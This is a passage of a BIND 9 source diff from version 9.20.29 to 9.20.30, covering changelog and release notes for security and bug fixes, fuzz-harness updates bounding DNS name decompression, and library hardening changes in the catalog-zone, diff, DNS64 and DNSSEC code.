URI record. ``409b4c82e19`` + + RFC 7553 requires that the URI target field MUST NOT be an empty URI + (""). This is now enforced by the from text and from wire methods. + :gl:`#6134` :gl:`!12699` + +- Fix a space calculation bug when loading a zone in "RAW" format. + ``f6a08c7f34e`` + + When loading a specially crafted zone file in "RAW" format, the + :iscman:`named` process could terminate unexpectedly. This has been + fixed. :gl:`#6141` :gl:`!12782` + +- Dst_key_fromdns should fail on unsupported algorithms. ``ce7c7704f30`` + + dst_key_fromdns could succeed on unsupported algorithms causing + failures later in code which assumed that a dst_key_t always had a + supported algorithms. :gl:`#6192` :gl:`!12707` + +- Dynamic update prerequisites could probe zones that refuse queries. + ``0421a637880`` + + Dynamic update prerequisites did not honor `allow-query-on`, nor + `allow-query` for inline-signed zones, so clients that were refused + queries could use them to learn whether records exist in the zone. + These ACLs are now enforced for dynamic updates. :gl:`#6216` + :gl:`#6217` :gl:`!12905` + +- Fix delv +ns view reference counting. ``109c80c74e9`` + + Delv's matchview doesn't attach to the view as named does when called + with +ns. This can result in a view reference underflow if an + unexpected request is received by delv. This has been fixed. + :gl:`#6236` :gl:`!12737` + +- Named-journalprint -x could dereference a NULL pointer. + ``26f87b37a26`` + + When a journal is built without an index table, named-journalprint + could dereference a NULL pointer when printing extended diagnostics + (-x). This has been fixed. :gl:`#6238` :gl:`!12721` + +- Initialise dstip in notify_send_toaddr and checkds_send_toaddr. + ``3260bf7b513`` + + The dstip structure was not initialised on all paths before it was + used in notify_send_toaddr and checkds_send_toaddr. This could cause + server clauses to be ineffective. This has been fixed. :gl:`#6239` + :gl:`!12722` + +- Fix a catalog zone update bug. ``a694601fafe`` + + During a catalog zone update with an unusual case when a new member + zone appeared in the new version of the catalog zone under the same + label as used for another member in the old version of the catalog + zone, the old member zone could remain in the view and be + authoritatively served until :iscman:`named` was reloaded or + restarted. This has been fixed. :gl:`#6305` :gl:`!12751` + +- Fix empty SSLKEYLOGFILE environment variable handling. ``da53d3097d3`` + + If named is started with an empty SSLKEYLOGFILE environment variable + it could trigger a REQUIRE failure. Treat an empty SSLKEYLOGFILE + environment variable as if it doesn't exist. :gl:`#6306` :gl:`!12873` + +- Dig +dns64prefix could process non-IN AAAA records. ``8a05bd1db04`` + + dig +dns64prefix could process non-IN AAAA records if there was a + hostile resolver resulting in an out of bounds read. This has been + fixed. :gl:`#6312` :gl:`!12793` + +- Save_command_line mishandles byte with high bit set. ``fe35e694536`` + + save_command_line fails to handle char with high bit set correctly + when char is treated as signed. This has been fixed. :gl:`#6316` + :gl:`!12720` + +- Account for null terminator when using NAME_MAX. ``2230c781761`` + + The `NAME_MAX` value in `limits.h` is not guaranteed to include space + for the terminating null character in a string. This can cause + unexpected behavior on some platforms, such as a directory scan + stopping too soon if a 255-character filename is encountered. + + Buffers intended to hold filenames are now allocated with `NAME_MAX + + 1` bytes. :gl:`#6324` :gl:`!12903` + +- Prevent excessive RRL table scans under load. ``76afd2b2b65`` + + Bound RRL entry recycling to prevent large tables from delaying other + responses. :gl:`#6351` :gl:`!12794` + +- Named-checkconf exits without returning a error with a bad command + line. ``f187d92dde7`` + + Named-checkconf was exiting with a 0 exit status when there was a bad + command line argument. This meant that `named-checkconf $ARGS && + reload` could call reload when $ARGS was bad. This has been fixed. + :gl:`#6400` :gl:`!12727` + +- Unlink the temporary file on rename failure in + masterdump.c:closeandrename. ``9fd230d7e06`` + + If the rename fails in masterdump.c:closeandrename there is no useful + purpose keeping the temporary file. We already remove it on other + error conditions in that function. :gl:`#6405` :gl:`!12741` + +- Statistics channel serves data on unregistered URL prefixes. + ``89ad99d551d`` + + The code to match the requested URL with the URLs named serves wasn't + correct. Truncated request URLs where being matched when they + shouldn't have been. This has been fixed. :gl:`#6415` :gl:`!12789` + +- Fix a crash on OpenBSD when a signal reaches an idle worker thread. + ``2e7855b1577`` + + On OpenBSD, a signal delivered to named while one of its worker + threads was idle could make the server abort with a fatal "Operation + canceled" error, because OpenBSD reports such an interrupted wait + differently from Linux and the other supported systems. The wait is + now resumed after the signal, as it already was elsewhere. :gl:`#6427` + :gl:`!12771` + +- Resolve names in insecure zones whose apex answers with a CNAME. + ``ffa1efabddb`` + + A validating resolver returned SERVFAIL for names in an unsigned zone + whose apex answers with a CNAME, because the validator refused to look + up the DS proof that shows the zone is insecure. That lookup is now + allowed, and the cache keeps a CNAME next to other records at the same + name (including the parent's delegation data) instead of deleting one + for the other, choosing the fresher record at lookup time; this + supersedes the earlier fix for stale answers after a record changes to + or from a CNAME. :gl:`#6435` :gl:`!12890` + +- Add sign delay to offline KSK ZRRSIG state timing. ``6a4acfe5a43`` + + With offline KSK, the ZRRSIG state of a ZSK was derived from the key + timing without the sign delay, and retire-safety only counted towards + the next rekey time, so during a ZSK rollover the signatures were + reported omnipresent (or hidden) days too early. Signing itself is not + affected. :gl:`!12863` + +- Fix TSIG session loss across a reload. ``5b63fff3efc`` + + Dynamic TSIG sessions negotiated through TKEY were saved to disk by + whichever view released the key ring first, which during a reload was + the outgoing view — consuming sessions the incoming view was still + using and forcing clients to renegotiate. Sessions are now saved only + when the last view releases them, and a failed save no longer replaces + the stored sessions with a truncated file. :gl:`!12802` + +- GSS-TSIG keys now last as long as the negotiated context. + ``c9af511a867`` + + When GSS-TSIG is in use, the TSIG key that named derives from a + completed TKEY negotiation always expired after at most one hour, even + when the negotiated security context was valid for far longer, so + clients had to repeat the TKEY exchange every hour to keep sending + dynamic updates. named now keeps such a key for as long as that + context remains valid, and applies the one-hour limit only when its + lifetime cannot be determined. :gl:`!12783` + +- Keep the zone table read section open until the zone is attached. + ``5f35fd6c5c5`` + + dns_zt_find() ended its qp-trie read transaction before checking the + zone type and attaching to the zone, which is only safe as long as the + callers in view.c happen to hold an RCU read lock of their own. The + read section is now closed after the reference has been taken, so the + zone can no longer be reclaimed out from under the lookup. + :gl:`!12780` + +- Pass the message pools to destroypools() in the declared order. + ``23aef824bfb`` + + The arguments were swapped, so the emptiness assertion named the wrong + pool. :gl:`!12814` + +- Support program suffixes of tsig-keygen and ddns-confgen. + ``b2cd0c5d0a7`` + + Suffixes different than .exe are used on Fedora. But those commands + require exact names only. Allow switching between two variants only + from prefix. That should work on all platforms. It should support also + names like tsig-keygen-9.18 or tsig-keygen-9.21. + + The same case applies to named-checkzone and named-compilezone. + :gl:`!12901` + + diff -Nru bind9-9.20.29/doc/man/conf.py bind9-9.20.30/doc/man/conf.py --- bind9-9.20.29/doc/man/conf.py 2026-09-11 19:41:01.447329704 +0000 +++ bind9-9.20.30/doc/man/conf.py 2026-10-12 13:12:08.356898821 +0000 @@ -1,4 +1,3 @@ -############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 @@ -9,7 +8,6 @@ # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -############################################################################ # # Configuration file for the Sphinx documentation builder. diff -Nru bind9-9.20.29/doc/misc/checkgrammar.py bind9-9.20.30/doc/misc/checkgrammar.py --- bind9-9.20.29/doc/misc/checkgrammar.py 2026-09-11 19:41:01.450329776 +0000 +++ bind9-9.20.30/doc/misc/checkgrammar.py 2026-10-12 13:12:08.359898885 +0000 @@ -1,4 +1,3 @@ -############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 @@ -9,7 +8,6 @@ # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -############################################################################ """ Utility to check ISC config grammar consistency. It detects statement names @@ -27,7 +25,8 @@ def statement2block(grammar, path): - """Return mapping statement name to "path" where it is allowed. + """ + Return mapping statement name to "path" where it is allowed. _top is placeholder name for the namesless topmost context. E.g. { @@ -51,7 +50,8 @@ def get_statement_grammar(grammar, path, name): - """Descend into grammar dict using provided path + """ + Descend into grammar dict using provided path and return final dict found there. Intermediate steps into "_mapbody" subkeys are done automatically. @@ -102,10 +102,14 @@ def pformat_grammar(node, level=1): - """Pretty print a given grammar node in the same way as cfg_test would""" + """ + Pretty print a given grammar node in the same way as cfg_test would + """ def sortkey(item): - """Treat 'type' specially and always put it first, for zone types""" + """ + Treat 'type' specially and always put it first, for zone types + """ key, _ = item if key == "type": return "" diff -Nru bind9-9.20.29/doc/misc/parsegrammar.py bind9-9.20.30/doc/misc/parsegrammar.py --- bind9-9.20.29/doc/misc/parsegrammar.py 2026-09-11 19:41:01.450329776 +0000 +++ bind9-9.20.30/doc/misc/parsegrammar.py 2026-10-12 13:12:08.360898906 +0000 @@ -1,4 +1,3 @@ -############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 @@ -9,7 +8,6 @@ # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -############################################################################ """ Read ISC config grammar description produced by "cfg_test --grammar", @@ -76,7 +74,8 @@ def split_comments(line): - """Split line on comment boundary and strip right-side whitespace. + """ + Split line on comment boundary and strip right-side whitespace. Supports only #, //, and /* comments which end at the end of line. It does NOT handle: - quoted strings @@ -107,7 +106,9 @@ def parse_line(filein): - """Consume single line from input, return non-comment and comment.""" + """ + Consume single line from input, return non-comment and comment. + """ for line in filein: line, comment = split_comments(line) line = line.strip() @@ -118,7 +119,9 @@ def parse_flags(comments): - """Extract known flags from comments. Must match exact strings used by cfg_test.""" + """ + Extract known flags from comments. Must match exact strings used by cfg_test. + """ out = [] for flag in FLAGS: if flag in comments: @@ -127,7 +130,8 @@ def parse_mapbody(filein): - """Parse body of a "map" in ISC config format. + """ + Parse body of a "map" in ISC config format. Input lines can be only: - whitespace & comments only -> ignore @@ -185,7 +189,9 @@ def main(): - """Read stdin or filename provided on command line""" + """ + Read stdin or filename provided on command line + """ with fileinput.input() as filein: grammar = parse_mapbody(filein) print(json.dumps(grammar, indent=4)) diff -Nru bind9-9.20.29/doc/notes/notes-9.20.30.rst bind9-9.20.30/doc/notes/notes-9.20.30.rst --- bind9-9.20.29/doc/notes/notes-9.20.30.rst 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/doc/notes/notes-9.20.30.rst 2026-10-12 13:12:08.363898971 +0000 @@ -0,0 +1,196 @@ +.. Copyright (C) Internet Systems Consortium, Inc. ("ISC") +.. +.. SPDX-License-Identifier: MPL-2.0 +.. +.. This Source Code Form is subject to the terms of the Mozilla Public +.. License, v. 2.0. If a copy of the MPL was not distributed with this +.. file, you can obtain one at https://mozilla.org/MPL/2.0/. +.. +.. See the COPYRIGHT file distributed with this work for additional +.. information regarding copyright ownership. + +Notes for BIND 9.20.30 +---------------------- + +Security Fixes +~~~~~~~~~~~~~~ + +- Prevent exhaustion of CPU while parsing crafted DNS messages. + :cve:`2026-19630` + + A crafted message could make :iscman:`named` spend a disproportionate + amount of time expanding compressed names in it, letting a client + saturate all worker threads with very little traffic and time out + legitimate queries. The amount of name expansion a single message can + require is now bounded, and :iscman:`named` answers FORMERR when that + bound is exceeded; ordinary traffic, including zone transfers and + dynamic updates, stays well within it. :gl:`#5932` + +- Prevent concurrent GSS-TSIG traffic from terminating :iscman:`named`. + :cve:`2026-94300` + + A GSS-TSIG session negotiated through TKEY is shared by every message + signed or verified with that key; previously, :iscman:`named` did not + serialize access to it, so concurrent signed messages could corrupt + Kerberos-owned state and terminate :iscman:`named` unexpectedly. + Access to the shared session is now serialized. + + ISC would like to thank Dave Aitel from OpenAI who independently + discovered and responsibly reported the issue to ISC. :gl:`#6320` + +- Fix a crash with redirect zones and strict QNAME minimization. + :cve:`2026-96888` + + Processing an NXDOMAIN response with a redirect zone configured could + cause :iscman:`named` to crash if :any:`qname-minimization` was set to + ``strict``. This has been fixed. + + ISC would like to thank Vitaly Simonovich for bringing this + vulnerability to our attention. :gl:`#6386` + +- Fix a crash when resuming from a query initiated by RPZ. + :cve:`2026-97313` + + The :iscman:`named` process could terminate unexpectedly when + resuming from a query initiated by RPZ processing. This has been + fixed. + + ISC would like to thank Vitaly Simonovich for bringing this + vulnerability to our attention. :gl:`#6408` + +Bug Fixes +~~~~~~~~~ + +- Remove a spurious root trust anchor warning and recognize the new + root key. + + The ``static entry for the root zone WILL FAIL after key rollover`` + warning only makes sense for the IANA root keys, which are rolled over + using :rfc:`5011`; :iscman:`named` and :iscman:`named-checkconf` no + longer log it for other static root trust anchors. Both now also warn + when the configured root :any:`trust-anchors` include an older IANA + root key but not the new one (ID 38696). :gl:`#5572` + +- Do not accept HMAC keys and signatures for SIG(0) or DNSSEC. + + Due to an oversight, keys and signatures using HMAC algorithms, which + are only meant for TSIG, could be accepted for SIG(0) and DNSSEC + purposes. This has been fixed. :gl:`#6086` + +- Fix DNSSEC tool dates being read one hour late during Daylight Saving + Time. + + When a key timing value was passed to the DNSSEC tools in the format + printed by :option:`dnssec-settime -p` (for example, + ``Wed Jul 1 12:00:00 2026``), it was read as standard time. While + Daylight Saving Time was in effect, the resulting time was one hour + late. These values are now read in the correct local time. + :gl:`#6089` + +- Reject URI records with an empty target. + + :rfc:`7553` requires that the target field of a URI record not be + empty. Such records were accepted, but are now rejected both in zone + files and in DNS messages. :gl:`#6134` + +- Fix a crash when loading a zone in ``raw`` format. + + When loading a specially crafted zone file in ``raw`` format + (:any:`masterfile-format`), the :iscman:`named` process could + terminate unexpectedly. This has been fixed. :gl:`#6141` + +- Prevent dynamic update prerequisites from probing zones that refuse + queries. + + Dynamic update prerequisites did not honor :any:`allow-query-on`, nor + :any:`allow-query` for inline-signed zones, so clients that were + refused queries could use them to learn whether records existed in the + zone. These ACLs are now enforced for dynamic updates. :gl:`#6216` + :gl:`#6217` + +- Fix a :iscman:`named-journalprint` crash when using the ``-x`` + option. + + When a journal file had no index table, :iscman:`named-journalprint` + could crash while printing extended diagnostics with ``-x``. This has + been fixed. :gl:`#6238` + +- Honor :namedconf:ref:`server` settings for keyed NOTIFY and DS + queries. + + When :iscman:`named` sent a NOTIFY message, or a DS query to a + parental agent, to a server listed with an explicit TSIG key, + settings from the matching :namedconf:ref:`server` statement, such as + :any:`notify-source` or :any:`tcp-only`, could be ignored. This has + been fixed. :gl:`#6239` + +- Fix a catalog zone update bug. + + When a catalog zone update reused the label of an existing member zone + for a different member zone, the old member zone could remain in the + view and be served authoritatively until :iscman:`named` was reloaded + or restarted. This has been fixed. :gl:`#6305` + +- Fix an out-of-bounds read in :option:`dig +dns64prefix`. + + When a hostile resolver returned AAAA records of a class other than + IN, :option:`dig +dns64prefix` could process them and read out of + bounds. This has been fixed. :gl:`#6312` + +- Prevent excessive RRL table scans under load. + + When response rate limiting (:any:`rate-limit`) was in use, recycling + entries in a large RRL table could require scanning much of the table + while holding a lock, delaying other responses. The amount of work + done to recycle entries is now bounded. :gl:`#6351` + +- Make :iscman:`named-checkconf` fail on invalid command-line + arguments. + + Previously, :iscman:`named-checkconf` exited with status 0 when given + an invalid command-line argument, so a command such as + ``named-checkconf $ARGS && rndc reload`` could reload the server even + when ``$ARGS`` was invalid. It now exits with a non-zero status. + :gl:`#6400` + +- Remove the temporary file when saving a zone file fails. + + When writing a zone file failed at the final rename step, the + temporary file was left behind. It is now removed, as it already was + on other errors. :gl:`#6405` + +- Prevent the statistics channel from serving data on unregistered URL + prefixes. + + The :any:`statistics-channels` HTTP server also matched request paths + that were only a prefix of a URL it served, so it returned data for + URLs that it should have rejected. This has been fixed. :gl:`#6415` + +- Fix a crash on OpenBSD when a signal reached an idle worker thread. + + On OpenBSD, a signal delivered to :iscman:`named` while one of its + worker threads was idle could make the server abort with a fatal + "Operation canceled" error, because OpenBSD reports such an + interrupted wait differently from Linux and the other supported + systems. The wait is now resumed after the signal, as it already was + elsewhere. :gl:`#6427` + +- Resolve names in insecure zones whose apex answers with a CNAME. + + A validating resolver returned SERVFAIL for names in an unsigned zone + whose apex answers with a CNAME, because the validator refused to look + up the DS proof showing that the zone was insecure. That lookup is now + allowed. The cache now also keeps a CNAME alongside other records at + the same name, including the parent's delegation data, instead of + replacing one with the other, and chooses the fresher record at lookup + time. :gl:`#6435` + +- Set GSS-TSIG keys to last as long as the negotiated context. + + When GSS-TSIG was in use, the TSIG key that :iscman:`named` derived + from a completed TKEY negotiation always expired after at most one + hour, even when the negotiated security context was valid for far + longer, so clients had to repeat the TKEY exchange every hour to keep + sending dynamic updates. Such keys are now kept for as long as the + negotiated context remains valid; the one-hour limit only applies + when the context lifetime cannot be determined. :gl:`!12783` diff -Nru bind9-9.20.29/fuzz/dns_name_fromwire.c bind9-9.20.30/fuzz/dns_name_fromwire.c --- bind9-9.20.29/fuzz/dns_name_fromwire.c 2026-09-11 19:41:01.478330447 +0000 +++ bind9-9.20.30/fuzz/dns_name_fromwire.c 2026-10-12 13:12:08.390899548 +0000 @@ -43,9 +43,11 @@ dns_name_t *old_name = dns_fixedname_initname(&old_fixed); uint8_t *new_offsets; uint8_t *old_offsets; - dns_decompress_t dctx = DNS_DECOMPRESS_PERMITTED; isc_buffer_t new_buf; isc_buffer_t old_buf; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dns_decompress_setpermitted(&dctx, true); /* * Output buffers may be partially used or undersized. @@ -71,13 +73,15 @@ isc_buffer_add(&new_buf, size); isc_buffer_setactive(&new_buf, size); isc_buffer_forward(&new_buf, size / 2); - new_result = dns_name_fromwire(new_name, &new_buf, dctx, NULL); + dns_decompress_setbudget(&dctx, UINT32_MAX); + new_result = dns_name_fromwire(new_name, &new_buf, &dctx, NULL); isc_buffer_constinit(&old_buf, data, size); isc_buffer_add(&old_buf, size); isc_buffer_setactive(&old_buf, size); isc_buffer_forward(&old_buf, size / 2); - old_result = old_name_fromwire(old_name, &old_buf, dctx, 0, NULL); + dns_decompress_setbudget(&dctx, UINT32_MAX); + old_result = old_name_fromwire(old_name, &old_buf, &dctx, 0, NULL); REQUIRE(new_result == old_result); REQUIRE(dns_name_equal(new_name, old_name)); diff -Nru bind9-9.20.29/fuzz/dns_qpkey_name.c bind9-9.20.30/fuzz/dns_qpkey_name.c --- bind9-9.20.29/fuzz/dns_qpkey_name.c 2026-09-11 19:41:01.482330542 +0000 +++ bind9-9.20.30/fuzz/dns_qpkey_name.c 2026-10-12 13:12:08.394899633 +0000 @@ -53,7 +53,7 @@ isc_buffer_add(&buf, size); isc_buffer_setactive(&buf, size); - CHECK(dns_name_fromwire(namein, &buf, DNS_DECOMPRESS_NEVER, NULL)); + CHECK(dns_name_fromwire(namein, &buf, NULL, NULL)); /* verify round-trip conversion of first name */ size_t keylen = dns_qpkey_fromname(key, namein); @@ -62,7 +62,7 @@ assert(dns_name_equal(namein, nameout)); /* is there a second name? */ - CHECK(dns_name_fromwire(namecmp, &buf, DNS_DECOMPRESS_NEVER, NULL)); + CHECK(dns_name_fromwire(namecmp, &buf, NULL, NULL)); size_t cmplen = dns_qpkey_fromname(cmp, namecmp); size_t len = ISC_MIN(keylen, cmplen); diff -Nru bind9-9.20.29/fuzz/dns_rdata_fromwire_text.c bind9-9.20.30/fuzz/dns_rdata_fromwire_text.c --- bind9-9.20.29/fuzz/dns_rdata_fromwire_text.c 2026-09-11 19:41:01.489330710 +0000 +++ bind9-9.20.30/fuzz/dns_rdata_fromwire_text.c 2026-10-12 13:12:08.401899783 +0000 @@ -20,6 +20,7 @@ #include #include #include +#include #include #include @@ -110,7 +111,7 @@ continue; } dns_rdatatype_format(t, typebuf, sizeof(typebuf)); - if (strncmp(typebuf, "TYPE", 4) != 0) { + if (!isc_string_hasprefix(typebuf, "TYPE")) { /* Assert when we need to grow typelist. */ assert(types < sizeof(typelist) / sizeof(typelist[0])); typelist[types++] = t; @@ -142,8 +143,8 @@ * Reject invalid rdata. (Disallow decompression as we are * reading a packet) */ - CHECK(dns_rdata_fromwire(&rdata1, rdclass, rdtype, &source, - DNS_DECOMPRESS_NEVER, &target)); + CHECK(dns_rdata_fromwire(&rdata1, rdclass, rdtype, &source, NULL, + &target)); assert(rdata1.length == size); /* diff -Nru bind9-9.20.29/fuzz/main.c bind9-9.20.30/fuzz/main.c --- bind9-9.20.29/fuzz/main.c 2026-09-11 19:41:01.493330806 +0000 +++ bind9-9.20.30/fuzz/main.c 2026-10-12 13:12:08.405899869 +0000 @@ -20,6 +20,8 @@ #include #include +#include + #include "fuzz.h" #ifndef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION @@ -97,6 +99,7 @@ int ret; char corpusdir[PATH_MAX]; const char *target = strrchr(argv[0], '/'); + const char *tail = NULL; ret = LLVMFuzzerInitialize(&argc, &argv); if (ret != 0) { @@ -121,8 +124,9 @@ } target = (target != NULL) ? target + 1 : argv[0]; - if (strncmp(target, "lt-", 3) == 0) { - target += 3; + tail = isc_string_stripprefix(target, "lt-"); + if (tail != NULL) { + target = tail; } snprintf(corpusdir, sizeof(corpusdir), FUZZDIR "/%s.in", target); diff -Nru bind9-9.20.29/fuzz/old.c bind9-9.20.30/fuzz/old.c --- bind9-9.20.29/fuzz/old.c 2026-09-11 19:41:01.493330806 +0000 +++ bind9-9.20.30/fuzz/old.c 2026-10-12 13:12:08.405899869 +0000 @@ -28,6 +28,11 @@ /* * code copied from lib/dns/name.c as of commit * 6967973568fe80b03e1729259f8907ce8792be34 + * + * The limits on following compression pointers were added back + * afterwards, because the differential fuzzer requires this + * implementation and the current one to agree on every result. It is + * deliberately not a verbatim copy any more. */ typedef enum { fw_start = 0, fw_ordinary, fw_newcurrent } fw_state; @@ -51,11 +56,12 @@ #define BINDABLE(name) (!name->attributes.readonly && !name->attributes.dynamic) isc_result_t -old_name_fromwire(dns_name_t *name, isc_buffer_t *source, dns_decompress_t dctx, - unsigned int options, isc_buffer_t *target) { +old_name_fromwire(dns_name_t *name, isc_buffer_t *source, + dns_decompress_t *dctx, unsigned int options, + isc_buffer_t *target) { unsigned char *cdata, *ndata; unsigned int cused; /* Bytes of compressed name data used */ - unsigned int nused, labels, n, nmax; + unsigned int hops, indirects, nused, labels, n, nmax; unsigned int current, new_current, biggest_pointer; bool done; fw_state state = fw_start; @@ -100,6 +106,8 @@ /* * Set up. */ + hops = 0; + indirects = 0; labels = 0; done = false; @@ -145,6 +153,7 @@ goto full; } nused += c + 1; + indirects = 0; *ndata++ = c; if (c == 0) { done = true; @@ -158,6 +167,11 @@ if (!dns_decompress_getpermitted(dctx)) { return DNS_R_DISALLOWED; } + if (hops++ >= DNS_NAME_MAXHOPS || + !dns_decompress_consume(dctx)) + { + return DNS_R_BADPOINTER; + } new_current = c & 0x3F; state = fw_newcurrent; } else { @@ -183,6 +197,11 @@ biggest_pointer = new_current; current = new_current; cdata = (unsigned char *)source->base + current; + if (*cdata < 192) { + indirects = 0; + } else if (++indirects > DNS_NAME_MAXINDIRECTS) { + return DNS_R_BADPOINTER; + } seen_pointer = true; state = fw_start; break; diff -Nru bind9-9.20.29/fuzz/old.h bind9-9.20.30/fuzz/old.h --- bind9-9.20.29/fuzz/old.h 2026-09-11 19:41:01.493330806 +0000 +++ bind9-9.20.30/fuzz/old.h 2026-10-12 13:12:08.406899890 +0000 @@ -17,5 +17,6 @@ * For verifying no functional change in the rewrite of dns_name_fromwire() */ isc_result_t -old_name_fromwire(dns_name_t *name, isc_buffer_t *source, dns_decompress_t dctx, - unsigned int options, isc_buffer_t *target); +old_name_fromwire(dns_name_t *name, isc_buffer_t *source, + dns_decompress_t *dctx, unsigned int options, + isc_buffer_t *target); diff -Nru bind9-9.20.29/lib/dns/catz.c bind9-9.20.30/lib/dns/catz.c --- bind9-9.20.29/lib/dns/catz.c 2026-09-11 19:41:01.495330854 +0000 +++ bind9-9.20.30/lib/dns/catz.c 2026-10-12 13:12:08.407899911 +0000 @@ -684,8 +684,8 @@ /* Try to find the zone in the view */ find_result = dns_view_findzone(catz->catzs->view, - dns_catz_entry_getname(nentry), - DNS_ZTFIND_EXACT, &zone); + &nentry->name, DNS_ZTFIND_EXACT, + &zone); if (find_result == ISC_R_SUCCESS) { char pczname[DNS_NAME_FORMATSIZE]; bool coo_match = false; @@ -752,6 +752,20 @@ catz_entry_add_or_mod(catz, toadd, key, keysize, nentry, NULL, "adding", zname, czname); continue; + } + + /* + * If member name in the old entry is not equal to the member + * name in the new entry, it means the unique label is the same + * but the member name has been changed. We should add the + * member from the new entry while making sure to pass 'oentry' + * as NULL below, so it remains in the hash table and the member + * zone is properly deleted. + */ + if (!dns_name_equal(&oentry->name, &nentry->name)) { + catz_entry_add_or_mod(catz, toadd, key, keysize, nentry, + NULL, "adding", zname, czname); + continue; } if (find_result != ISC_R_SUCCESS) { diff -Nru bind9-9.20.29/lib/dns/diff.c bind9-9.20.30/lib/dns/diff.c --- bind9-9.20.29/lib/dns/diff.c 2026-09-11 19:41:01.495330854 +0000 +++ bind9-9.20.30/lib/dns/diff.c 2026-10-12 13:12:08.408899933 +0000 @@ -103,11 +103,11 @@ void dns_difftuple_free(dns_difftuple_t **tp) { - dns_difftuple_t *t = *tp; - *tp = NULL; isc_mem_t *mctx; - REQUIRE(DNS_DIFFTUPLE_VALID(t)); + REQUIRE(tp != NULL && DNS_DIFFTUPLE_VALID(*tp)); + + dns_difftuple_t *t = MOVE_OWNERSHIP(*tp); dns_name_invalidate(&t->name); t->magic = 0; @@ -118,6 +118,9 @@ isc_result_t dns_difftuple_copy(dns_difftuple_t *orig, dns_difftuple_t **copyp) { + REQUIRE(DNS_DIFFTUPLE_VALID(orig)); + REQUIRE(copyp != NULL && *copyp == NULL); + return dns_difftuple_create(orig->mctx, orig->op, &orig->name, orig->ttl, &orig->rdata, copyp); } @@ -145,9 +148,43 @@ void dns_diff_append(dns_diff_t *diff, dns_difftuple_t **tuplep) { REQUIRE(DNS_DIFF_VALID(diff)); - ISC_LIST_APPEND(diff->tuples, *tuplep, link); + REQUIRE(tuplep != NULL && DNS_DIFFTUPLE_VALID(*tuplep)); + + dns_difftuple_t *tuple = MOVE_OWNERSHIP(*tuplep); + ISC_LIST_APPEND(diff->tuples, tuple, link); diff->size += 1; - *tuplep = NULL; +} + +void +dns_diff_prepend(dns_diff_t *diff, dns_difftuple_t **tuplep) { + REQUIRE(DNS_DIFF_VALID(diff)); + REQUIRE(tuplep != NULL && DNS_DIFFTUPLE_VALID(*tuplep)); + + dns_difftuple_t *tuple = MOVE_OWNERSHIP(*tuplep); + ISC_LIST_PREPEND(diff->tuples, tuple, link); + diff->size += 1; +} + +void +dns_diff_appendlist(dns_diff_t *dst, dns_diff_t *src) { + REQUIRE(DNS_DIFF_VALID(dst)); + REQUIRE(DNS_DIFF_VALID(src)); + REQUIRE(dst != src); + + ISC_LIST_APPENDLIST(dst->tuples, src->tuples, link); + dst->size += src->size; + src->size = 0; + ENSURE(ISC_LIST_EMPTY(src->tuples)); +} + +void +dns_diff_unlink(dns_diff_t *diff, dns_difftuple_t *tuple) { + REQUIRE(DNS_DIFF_VALID(diff)); + REQUIRE(DNS_DIFFTUPLE_VALID(tuple)); + REQUIRE(diff->size > 0); + + ISC_LIST_UNLINK(diff->tuples, tuple, link); + diff->size -= 1; } size_t @@ -163,7 +200,7 @@ dns_difftuple_t *ot, *next_ot; REQUIRE(DNS_DIFF_VALID(diff)); - REQUIRE(DNS_DIFFTUPLE_VALID(*tuplep)); + REQUIRE(tuplep != NULL && DNS_DIFFTUPLE_VALID(*tuplep)); /* * Look for an existing tuple with the same owner name, @@ -198,9 +235,7 @@ } if (*tuplep != NULL) { - ISC_LIST_APPEND(diff->tuples, *tuplep, link); - diff->size += 1; - *tuplep = NULL; + dns_diff_append(diff, tuplep); } } @@ -746,3 +781,49 @@ } return result; } + +isc_result_t +dns_diff_applytuple(dns_difftuple_t **tuplep, dns_db_t *db, + dns_dbversion_t *ver, dns_diff_t *diff) { + dns_diff_t temp_diff; + isc_result_t result; + + REQUIRE(DNS_DIFF_VALID(diff)); + REQUIRE(tuplep != NULL && DNS_DIFFTUPLE_VALID(*tuplep)); + dns_difftuple_t *tuple = MOVE_OWNERSHIP(*tuplep); + + /* + * Create a singleton diff. + */ + dns_diff_init(diff->mctx, &temp_diff); + dns_diff_append(&temp_diff, &tuple); + + /* + * Apply it to the database. + */ + result = dns_diff_apply(&temp_diff, db, ver); + + /* + * Retrieve the tuple from the 'temp_diff' so we can + * add it to 'diff' on success or free it. + */ + tuple = ISC_LIST_HEAD(temp_diff.tuples); + dns_diff_unlink(&temp_diff, tuple); + + /* + * This should be a no-op. + */ + dns_diff_clear(&temp_diff); + + if (result != ISC_R_SUCCESS) { + dns_difftuple_free(&tuple); + return result; + } + + /* + * Merge it into the current pending journal entry. + */ + dns_diff_appendminimal(diff, &tuple); + + return ISC_R_SUCCESS; +} diff -Nru bind9-9.20.29/lib/dns/dns64.c bind9-9.20.30/lib/dns/dns64.c --- bind9-9.20.29/lib/dns/dns64.c 2026-09-11 19:41:01.496330877 +0000 +++ bind9-9.20.30/lib/dns/dns64.c 2026-10-12 13:12:08.409899954 +0000 @@ -421,7 +421,8 @@ isc_result_t result; REQUIRE(prefix != NULL && len != NULL && *len != 0U); - REQUIRE(rdataset != NULL && rdataset->type == dns_rdatatype_aaaa); + REQUIRE(rdataset != NULL && rdataset->type == dns_rdatatype_aaaa && + rdataset->rdclass == dns_rdataclass_in); dns_rdataset_init(&outer); dns_rdataset_init(&inner); diff -Nru bind9-9.20.29/lib/dns/dnssec.c bind9-9.20.30/lib/dns/dnssec.c --- bind9-9.20.29/lib/dns/dnssec.c 2026-09-11 19:41:01.496330877 +0000 +++ bind9-9.20.30/lib/dns/dnssec.c 2026-10-12 13:12:08.410899976 +0000 @@ -129,14 +129,49 @@ isc_buffer_t b; isc_region_t r; - INSIST(DNS_NAME_VALID(name)); - INSIST(rdata != NULL); - INSIST(mctx != NULL); - INSIST(key != NULL); - INSIST(*key == NULL); + REQUIRE(DNS_NAME_VALID(name)); + REQUIRE(rdata != NULL); + REQUIRE(mctx != NULL); 